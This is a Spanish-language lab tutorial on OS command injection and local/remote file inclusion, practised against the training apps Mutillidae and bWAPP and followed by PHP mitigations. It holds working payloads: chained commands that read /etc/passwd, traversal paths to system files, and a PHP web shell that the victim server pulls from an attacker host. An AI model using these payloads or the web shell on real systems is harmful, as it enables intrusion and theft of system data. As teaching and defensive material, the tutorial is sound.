Práctica sobre explotación y mitigación de vulnerabilidades críticas a nivel de servidor: Inyección de Comandos (OS Command Injection) y la Inclusión de Archivos (LFI/RFI). Estas brechas permiten a un atacante ejecutar código arbitrario o leer archivos sensibles del sistema operativo anfitrión.
Esta vulnerabilidad ocurre cuando una aplicación web pasa datos inseguros suministrados por el usuario directamente a un shell del sistema (usando funciones como exec(), system() o shell_exec()). El atacante puede alterar la ejecución usando "metacaracteres" del shell para encadenar comandos maliciosos.
; (Punto y coma): Ejecuta comandos secuencialmente. ping 127.0.0.1; ls&& (AND lógico): Ejecuta el segundo comando solo si el primero tiene éxito.| (Pipe): Pasa la salida del primer comando como entrada al segundo. En inyecciones, suele usarse para ignorar el primer comando y forzar la ejecución del segundo.Accedemos a OWASP Mutillidae (A1 – Injection → Command Injection → DNS Lookup) y probamos payloads básicos de reconocimiento:
# Ignorar el ping y listar el directorio actual
127.0.0.1 ; pwd
127.0.0.1 | ls -la
# Leer el archivo crítico de usuarios de Linux
127.0.0.1 ; cat /etc/passwd
# Buscar procesos de bases de datos activos
127.0.0.1 && ps -eaf | egrep -l '(postgres|sql|db2|ora)'
Ocurre cuando una aplicación incluye archivos de forma dinámica usando parámetros de la URL sin validarlos correctamente. Si el atacante inyecta rutas del sistema operativo, puede leer archivos que no deberían ser públicos.
Usamos el parámetro vulnerable en bWAPP para navegar hacia atrás en los directorios del servidor (Directory Traversal) usando ../ hasta llegar a la raíz del sistema:
# Escapar de /var/www/html y leer archivos del sistema
?language=../../../../etc/passwd
?language=../../../../etc/apache2/apache2.conf
Si la configuración de PHP tiene allow_url_include=On, el riesgo es crítico: podemos decirle al servidor que incluya y ejecute un archivo alojado en *nuestro* servidor malicioso.
# 1. En nuestra máquina Kali, creamos shell.txt:
<?php system($_GET['cmd']); ?>
# 2. Obligamos al servidor víctima a ejecutarlo:
http://target/bWAPP/rlfi.php?language=http://kali-ip/shell.txt&cmd=whoami
He preparado un emulador de red (Ping Tool) que es vulnerable a Inyección de Comandos. ¿Serás capaz de encadenar un payload para leer el archivo /etc/passwd de mi servidor simulado?
unlink() en PHP, no exec("rm...").filter_var($ip, FILTER_VALIDATE_IP).escapeshellarg() para convertir el input en una cadena literal inofensiva.php.ini, asegúrate de tener allow_url_include = Off.include().<?php
// Defensa robusta contra LFI
$allowed_files = ['es' => 'es_lang.php', 'en' => 'en_lang.php'];
$selection = $_GET['lang'] ?? 'es';
$file_to_include = $allowed_files[$selection] ?? $allowed_files['es'];
include($file_to_include);
?>